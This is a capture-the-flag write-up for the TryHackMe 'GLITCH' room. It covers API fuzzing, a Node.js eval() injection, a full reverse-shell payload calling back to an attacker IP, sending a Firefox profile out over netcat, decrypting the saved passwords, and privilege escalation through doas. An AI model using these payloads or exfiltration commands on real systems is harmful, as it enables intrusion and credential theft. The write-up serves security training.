Information
Room
Name: GLITCH
Profile: tryhackme.com
Difficulty: Easy
Description : Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap ffuf dumpzilla firefox-decrypt
Network enumeration
Port and service scan with nmap
gave nothing crazy. It's clear
we must focus on the web app.
Arbitrary local domain name:
$ grep glitch /etc/hosts
10.10.124.106 glitch.thm
Web reconnaissance
The title of the home page is <title>not allowed</title>
while the http
request contains the following cookie header: Cookie: token=value
.
The following script in the body of the page seems not to be called.
< script >
function getAccess () {
fetch ( '/api/access' )
. then (( response ) => response . json ())
. then (( response ) => {
console . log ( response );
});
}
</ script >
Web exploitation
Let's call the API to try to get an access token.
$ curl http://glitch.thm/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}
By curiosity, let's check the base64 decoded value.
$ printf %s 'dGhpc19pc19ub3RfcmVhbA==' | base64 -d
this_is_not_real
We can use this token to access the home page.
There is a script http://glitch.thm/js/script.js calling the API endpoint /api/items
.
Web enumeration
Let's see if we can find more API endpoints.
$ ffuf -u http://glitch.thm/api/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -H 'Cookie: token=this_is_not_real'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://glitch.thm/api/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
access [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 25ms]
items [Status: 200, Size: 169, Words: 1, Lines: 1, Duration: 26ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1572 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
Nothing new, so I check the root of the app.
$ ffuf -u http://glitch.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -H 'Cookie: token=this_is_not_real'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://glitch.thm/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
js [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 36ms]
img [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 25ms]
secret [Status: 200, Size: 462, Words: 116, Lines: 23, Duration: 89ms]
[Status: 200, Size: 1763, Words: 425, Lines: 63, Duration: 25ms]
:: Progress: [26584/26584] :: Job [1/1] :: 1509 req/sec :: Duration: [0:00:18] :: Errors: 2 ::
The /secret
page was not accessible unauthenticated but it's a rabbit hole.
$ curl http://glitch.thm/secret -H 'Cookie: token=this_is_not_real'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>nothing.</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
height: 100vh;
width: 100%;
background: url('img/rabbit.png') repeat;
}
</style>
</head>
<body></body>
</html>
As this challenge seems guessy and unrealistic I decided to check the hint.
What other methods does the API accept?
Using POST method on the items API endpoint we get a message.
$ curl http://glitch.thm/api/items -H 'Cookie: token=this_is_not_real' -X POST
{"message":"there_is_a_glitch_in_the_matrix"}
Ok so we are on the right track.
Maybe there are parameters to it. To find them we can continue fuzzing with ffuf
(check my ffuf THM room about that).
$ ffuf -u 'http://glitch.thm/api/items?FUZZ=noraj' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -b 'token=this_is_not_real' -X POST -mc all -fc 400
...
________________________________________________
:: Method : POST
:: URL : http://glitch.thm/api/items?FUZZ=noraj
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Header : Cookie: token=this_is_not_real
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 400
________________________________________________
cmd [Status: 500, Size: 1082, Words: 55, Lines: 11, Duration: 28ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1551 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
Web exploitation 2
With a system command the app crashes because the command is sent to an eval()
so it will executed nodeJS code instead.
$ curl 'http://glitch.thm/api/items?cmd=id' -H 'Cookie: token=this_is_not_real' -X POST
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: id is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> at router.post (/var/web/routes/api.js:25:60)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at /var/web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>
He is a quick script we can use to list files and read one in NodeJS (synchronously).
// List files
const fs = require ( 'fs' );
fs . readdirSync ( '.' ). forEach ( file => {
console . log ( file );
});
// Read file
const fs = require ( 'fs' );
const data = fs . readFileSync ( 'user.txt' , 'utf8' );
console . log ( data );
But it will be easier to spawn a reverse shell directly.
( function (){
var net = require ( "net" ),
cp = require ( "child_process" ),
sh = cp . spawn ( "/bin/bash" , []);
var client = new net . Socket ();
client . connect ( 9999 , "10.9.19.77" , function (){
client . pipe ( sh . stdin );
sh . stdout . pipe ( client );
sh . stderr . pipe ( client );
});
return /a/ ; // Prevents the Node.js application form crashing
})();
Let's one-line it.
( function (){ var net = require ( "net" ), cp = require ( "child_process" ), sh = cp . spawn ( "/bin/bash" , []); var client = new net . Socket (); client . connect ( 9999 , "10.9.19.77" , function (){ client . pipe ( sh . stdin ); sh . stdout . pipe ( client ); sh . stderr . pipe ( client ); }); return /a/ ; })();
The full HTTP request will look like this:
POST /api/items?cmd=(function()%7b%20var%20net%20%3d%20require(%22net%22)%2c%20cp%20%3d%20require(%22child_process%22)%2c%20sh%20%3d%20cp.spawn(%22%2fbin%2fbash%22%2c%20%5b%5d)%3b%20var%20client%20%3d%20new%20net.Socket()%3b%20client.connect(9999%2c%20%2210.9.19.77%22%2c%20function()%7b%20client.pipe(sh.stdin)%3b%20sh.stdout.pipe(client)%3b%20sh.stderr.pipe(client)%3b%20%7d)%3b%20return%20%2fa%2f%3b%20%7d)()%3b HTTP / 1.1
Host : glitch.thm
User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Connection : close
Cookie : token=this_is_not_real
Upgrade-Insecure-Requests : 1
Content-Type : application/x-www-form-urlencoded
Content-Length : 0
The HTTP answer always contain vulnerability_exploited
when the code is executed without error and then we can see the /a/
return value.
HTTP/1.1 200 OK
Server : nginx/1.14.0 (Ubuntu)
Date : Sat, 22 Jan 2022 21:51:01 GMT
Content-Type : text/html; charset=utf-8
Connection : close
X-Powered-By : Express
ETag : W/"1b-lqv7vugOOXrs0UkVWHKxGtfYvZk"
Content-Length : 27
vulnerability_exploited /a/
System enumeration
$ ncat -nlvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.227.181.
Ncat: Connection from 10.10.227.181:40986.
id
uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)
pwd
/var/web
ls -lhA /home/user
total 40K
lrwxrwxrwx 1 root root 9 Jan 21 2021 .bash_history -> /dev/null
-rw-r--r-- 1 user user 3.7K Apr 4 2018 .bashrc
drwx------ 2 user user 4.0K Jan 4 2021 .cache
drwxrwxrwx 4 user user 4.0K Jan 27 2021 .firefox
drwx------ 3 user user 4.0K Jan 4 2021 .gnupg
drwxr-xr-x 270 user user 12K Jan 4 2021 .npm
drwxrwxr-x 5 user user 4.0K Jan 22 18:43 .pm2
drwx------ 2 user user 4.0K Jan 21 2021 .ssh
-rw-rw-r-- 1 user user 22 Jan 4 2021 user.txt
cat /home/user/user.txt
THM{EDITED}
EoP (Elevation of Privilege): user to v0id
The hint says:
My friend says that sudo is bloat.
sudo -l
is requiring a password and we don't have it. As the hint suggests
that sudo
is too heavy maybe this machine is using an alternative.
Here the EoP scenario exploits doas which
is a lightweight alternative to sudo.
which doas
/usr/local/bin/doas
cat /usr/local/etc/doas.conf
permit v0id as root
Only v0id can run commands as root with doas
, so let's EoP to v0id first.
We saw in the previous step there was a ~/.firefox
directory for our current
user.
ls -lhA /home/user/.firefox
total 12K
drwxrwxrwx 11 user user 4.0K Jan 27 2021 b5w4643p.default-release
drwxrwxrwx 3 user user 4.0K Jan 27 2021 'Crash Reports'
-rwxrwxr-x 1 user user 259 Jan 27 2021 profiles.ini
Netcat is available so we can use it to download the directory:
On our machine:
$ mkdir ff-profile && cd ff-profile
$ ncat -nlvp 7777 | tar xf -
On the target machine:
cd /home/user/.firefox
tar cf - . | nc 10.9.19.77 7777
Now we can analyse this Firefox profile.
$ dumpzilla ff-profile/b5w4643p.default-release --All
Execution time: 2022-01-26 22:47:49.922231
Mozilla Profile: ff-profile/b5w4643p.default-release
====================================================================================================
Cookies [SHA256 hash: 20d942903d690f54af3e8aff1e2ca45084d49dbc8940b184e89eacd88c9d8525]
====================================================================================================
Traceback (most recent call last):
File "/usr/bin/dumpzilla", line 1145, in <module>
All_execute(varDir)
File "/usr/bin/dumpzilla", line 204, in All_execute
show_cookies_firefox(varDir,varDom = 0)
File "/usr/bin/dumpzilla", line 238, in show_cookies_firefox
cursor.execute("select baseDomain, name, value, host, path, datetime(expiry, 'unixepoch', 'localtime'), datetime(lastAccessed/1000000,'unixepoch','localtime') as last ,datetime(creationTime/1000000,'unixepoch','localtime') as creat,
isSecure, isHttpOnly FROM moz_cookies where baseDomain like ? escape '\\' and name like ? escape '\\' and host like ? escape '\\' and last like ? and creat like ? and isSecure like ? and isHttpOnly like ? and last between ? and ? and c
reat between ? and ?",[varDomain,varName,varHost,('%'+varLastacess+'%'),('%'+varCreate+'%'),varSecure,varHttp, varRangeLast1, varRangeLast2, varRangeCreate1,varRangeCreate2])
sqlite3.OperationalError: no such column: baseDomain
But dumpzilla
crashs, the last version is from 2013 and doesn't seems to support
newer Firefox profile versions. As we are interested in passwords only, let's
use firefox-decrypt
instead.
$ firefox-decrypt ff-profile/
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2
Website: https://glitch.thm
Username: 'v0id'
Password: 'EDITED'
Let's use switch to v0id
and run a command as root.
user@ubuntu:/var/web$ su v0id
Password: love_the_void
v0id@ubuntu:/var/web$ doas -u root /bin/bash
Password: love_the_void
root@ubuntu:~# cat /root/root.txt
THM{EDITED}